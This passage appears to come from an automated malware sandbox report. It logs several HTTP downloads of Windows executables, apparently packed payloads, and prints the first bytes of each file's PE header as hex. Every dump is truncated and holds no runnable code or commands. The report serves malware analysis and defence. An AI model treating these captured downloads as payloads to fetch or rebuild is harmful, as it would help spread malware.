00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 16 Dec 2024 14:03:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 14:03:17 GMTContent-Type: application/octet-streamContent-Length: 428544Last-Modified: Mon, 16 Dec 2024 13:48:53 GMTConnection: keep-aliveETag: "67602fc5-68a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a4 b1 e4 47 e0 d0 8a 14 e0 d0 8a 14 e0 d0 8a 14 fe 82 1f 14 f9 d0 8a 14 fe 82 0e 14 d2 d0 8a 14 fe 82 09 14 60 d0 8a 14 c7 16 f1 14 e3 d0 8a 14 e0 d0 8b 14 60 d0 8a 14 fe 82 00 14 e1 d0 8a 14 fe 82 1e 14 e1 d0 8a 14 fe 82 1b 14 e1 d0 8a 14 52 69 63 68 e0 d0 8a 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0c bc 5d 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 e4 05 00 00 12 01 00 00 00 00 00 52 85 00 00 00 10 00 00 00 00 06 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 00 07 00 00 04 00 00 cb 79 07 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 40 e9 05 00 28 00 00 00 00 c0 06 00 68 3d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 38 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1e e3 05 00 00 10 00 00 00 e4 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 dc b0 00 00 00 00 06 00 00 64 00 00 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 68 3d 00 00 00 c0 06 00 00 3e 00 00 00 4c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 14:03:24 GMTContent-Type: application/octet-streamContent-Length: 1834496Last-Modified: Sat, 14 Dec 2024 21:12:38 GMTConnection: keep-aliveETag: "675df4c6-1bfe00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 62 fe 59 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 cc 03 00 00 b0 00 00 00 00 00 00 00 80 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 48 00 00 04 00 00 e2 b0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 29 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 62 76 6d 78 6b 6f 62 00 80 19 00 00 f0 2e 00 00 7a 19 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 64 61 77 61 6c 6d 68 00 10 00 00 00 70 48 00 00 04 00 00 00 d8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 48 00 00 22 00 00 00 dc 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 14:03:26 GMTContent-Type: application/octet-streamContent-Length: 2776576Last-Modified: Mon, 16 Dec 2024 13:42:20 GMTConnection: keep-aliveETag: "67602e3c-2a5e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 b1 52 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 6f 67 72 70 74 77 67 00 00 2a 00 00 a0 00 00 00 fe 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 70 6c 6c 62 66 73 70 00 20 00 00 00 a0 2a 00 00 04 00 00 00 38 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 3c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 14:03:29 GMTContent-Type: application/octet-streamContent-Length: 4457984Last-Modified: Mon, 16 Dec 2024 13:02:12 GMTConnection: keep-aliveETag: "676024d4-440600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 c9 b4 5f 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 e2 47 00 00 84 75 00 00 32 00 00 00 30 c7 00 00 10 00 00 00 00 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 60 c7 00 00 04 00 00 f0 0a 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f f0 72 00 73 00 00 00 00 e0 72 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 1e c7 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e c7 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 72 00 00 10 00 00 00 2a 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 e0 72 00 00 02 00 00 00 3a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 72 00 00 02 00 00 00 3c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 38 00 00 00 73 00 00 02 00 00 00 3e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 76 65 69 78 75 62 73 00 a0 1b 00 00 80 ab 00 00 a0 1b 00 00 40 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 6a 71 7a 62 6f 74 64 00 10 00 00 00 20 c7 00 00 04 00 00 00 e0 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 c7 00 00 22 00 00 00 e4 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 14:03:31 GMTContent-Type: application/octet-streamContent-Length: 1796608Last-Modified: Mon, 16 Dec 2024 13:43:52 GMTConnection: keep-aliveETag: "67602e98-1b6a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 20 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 12 3a 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 7a 61 61 7a 79 65 61 00 d0 19 00 00 40 4f 00 00 c6 19 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 73 77 75 69 74 73 72 00 10 00 00 00 10 69 00 00 04 00 00 00 44 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 69 00 00 22 00 00 00 48 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 14:04:59 GMTContent-Type: application/octet-streamContent-Length: 2776576Last-Modified: Mon, 16 Dec 2024 13:42:20 GMTConnection: keep-aliveETag: "67602e3c-2a5e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 b1 52 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 